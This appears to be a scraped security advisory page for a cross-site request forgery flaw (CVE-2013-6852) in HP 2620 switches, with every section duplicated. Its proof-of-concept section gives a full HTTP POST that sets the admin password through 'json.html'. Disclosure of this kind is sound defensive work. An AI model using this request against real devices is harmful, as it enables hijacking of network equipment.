HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
BID:63690
Info
HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
| Bugtraq ID: | 63690 |
| Class: | Input Validation Error |
| CVE: |
CVE-2013-6852 |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 26 2013 12:00AM |
| Updated: | Nov 25 2013 12:54AM |
| Credit: | Hubert Gradek |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
HP 2620 switch series are prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions. Other attacks are also possible.
HP 2620 switch series are vulnerable.
HP 2620 switch series are prone to a cross-site request-forgery vulnerability because it fails to properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain unauthorized administrative actions. Other attacks are also possible.
HP 2620 switch series are vulnerable.
Exploit / POC
HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
To exploit this issue an attacker must entice a user into visiting a malicious site.
The following example data is available:
http://www.example.com/html/json.html
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.example.com/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
POST Content:
method:setPassword&name=admin&password=newpassword&ext-comp-1171=newpassword&access=Manager
To exploit this issue an attacker must entice a user into visiting a malicious site.
The following example data is available:
http://www.example.com/html/json.html
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.example.com/html/nhome.html
Cookie: sessionId=ANYTHING
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
POST Content:
method:setPassword&name=admin&password=newpassword&ext-comp-1171=newpassword&access=Manager
Solution / Fix
HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].
References
HP 2620 Switch Series 'json.html' Cross Site Request Forgery Vulnerability
References:
References:
- HP Homepage (HP)